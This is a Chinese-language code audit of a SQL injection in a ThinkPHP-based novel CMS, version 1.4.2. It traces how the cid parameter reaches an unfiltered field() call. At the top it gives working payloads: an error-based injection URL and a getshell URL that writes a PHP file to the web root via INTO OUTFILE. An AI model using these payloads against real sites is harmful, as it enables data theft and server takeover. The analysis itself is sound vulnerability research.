PHP代码审计—某雨小说CMS注入到Getshell
前言
论坛有位老哥发了某个基于TP5框架开发的一个小说网站的注入漏洞,
拿到源码分析一下
环境搭建
CMS版本:1.4.2
官网地址:
狂雨小说cms - 狂雨小说cms - Powered by HYBBS (kyxscms.com)
Payload
报错:
http://127.0.0.1/?s=api/news/category&cid=updatexml(1,concat(0x7e,user(),0x7e),1)%20--+-
getshell:
// 需要有导出文件权限并且知道绝对路径
http://127.0.0.1/?s=api/news/category&cid='<?php phpinfo()?>' into outfile '/var/wzww/html/test.php'
漏洞分析
该cms基于ThinkPHP V5.1.33 LTS开发
漏洞触发点在 \application\api\controller\News.php
category方法获取了三个参数,三个参数可控,重点关注$cid
public function category($cid=false,$type=1,$filter=false){
$category=model('api/api')->category($cid,$type,$filter);
return json(["code"=>1,"data"=>$category]);
}
跟进 category($cid,$type,$filter)
方法
这里主要关注get_nav
方法的第五个参数,Request::param('cid')
,获取了我们传入的$cid
参数,
get_nav
第一个参数和第五个参数是一样的,但是只有第五个参数能造成注入
get_nav
函数形参只有五个,但是这里传入了六个参数,这里不会报错,多余的参数不做处理
感觉这里像是故意留的后门。
public function category($cid,$type,$filter){
$api=model('common/api');
$api->api_url=true;
$category=$api->get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type');
foreach ($category as $key => $value) {
$class[$key]=$value;
if($value['branch']==1){
$class[$key]['subor']=$this->category($value['id'],$type,$filter);
}
}
return $class;
}
跟进get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type')
方法
这里的 $category
和 $field
值是一样的,都是我们传入的 cid
的值, 这里也没进行任何过滤操作,
where() 函数 采用了pdo预处理,而field()函数并没有,所以造成了注入
public function get_nav($category,$type,$limit,$cid,$field=true){
$map = ['status' => 1,'pid' => $category];
if($type!==false){
$map['type']=$type;
}
$data=Db::name('category')->field($field)->where($map)->limit($limit)->order('sort')->select();
......
}
跟进field($field)
方法,这里处理的是 知道查询的字段,并没有进行结构化处理,
如果$field
为字符串,并且有[
、]
、<
、'
、"
、(
字符时,
调用fieldRaw()方法,将其变成一个查询表达式,并返回,并未进行过滤处理
/**
* 指定查询字段 支持字段排除和指定数据表
* @access public
* @param mixed $field
* @param boolean $except 是否排除
* @param string $tableName 数据表名
* @param string $prefix 字段前缀
* @param string $alias 别名前缀
* @return $this
*/
public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '')
{
if (empty($field)) {
return $this;
} elseif ($field instanceof Expression) {
$this->options['field'][] = $field;
return $this;
}
if (is_string($field)) {
if (preg_match('/[\<\'\"\(]/', $field)) {
return $this->fieldRaw($field);
}
$field = array_map('trim', explode(',', $field));
}
if (true === $field) {
// 获取全部字段
$fields = $this->getTableFields($tableName);
$field = $fields ?: ['*'];
} elseif ($except) {
// 字段排除
$fields = $this->getTableFields($tableName);
$field = $fields ? array_diff($fields, $field) : $field;
}
if ($tableName) {
// 添加统一的前缀
$prefix = $prefix ?: $tableName;
foreach ($field as $key => &$val) {
if (is_numeric($key) && $alias) {
$field[$prefix . '.' . $val] = $alias . $val;
unset($field[$key]);
} elseif (is_numeric($key)) {
$val = $prefix . '.' . $val;
}
}
}
if (isset($this->options['field'])) {
$field = array_merge((array) $this->options['field'], $field);
}
$this->options['field'] = array_unique($field);
return $this;
}
然后直接跟进 select() 方法,\thinkphp\library\think\db\Connection.php
/**
* 查找记录
* @access public
* @param Query $query 查询对象
* @return array|\PDOStatement|string
* @throws DbException
* @throws ModelNotFoundException
* @throws DataNotFoundException
*/
public function select(Query $query)
{
// 分析查询表达式
$options = $query->getOptions();
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
$resultSet = $this->getCacheData($query, $options['cache'], null, $key);
if (false !== $resultSet) {
return $resultSet;
}
}
// 生成查询SQL
$sql = $this->builder->select($query);
......
}
跟进生成查询sql $this->builder->select()
方法
\thinkphp\library\think\db\Builder.php
public function select(Query $query)
{
$options = $query->getOptions();
return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}
跟进 parseField()
方法, 并未对$fields
参数进行任何过滤,也没进行参数绑定结构化查询处理,
直接替换在了 select 语句后面 所以造成了注入
protected function parseField(Query $query, $fields)
{
if ('*' == $fields || empty($fields)) {
$fieldsStr = '*';
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];
foreach ($fields as $key => $field) {
if (!is_numeric($key)) {
$array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
} else {
$array[] = $this->parseKey($query, $field);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
}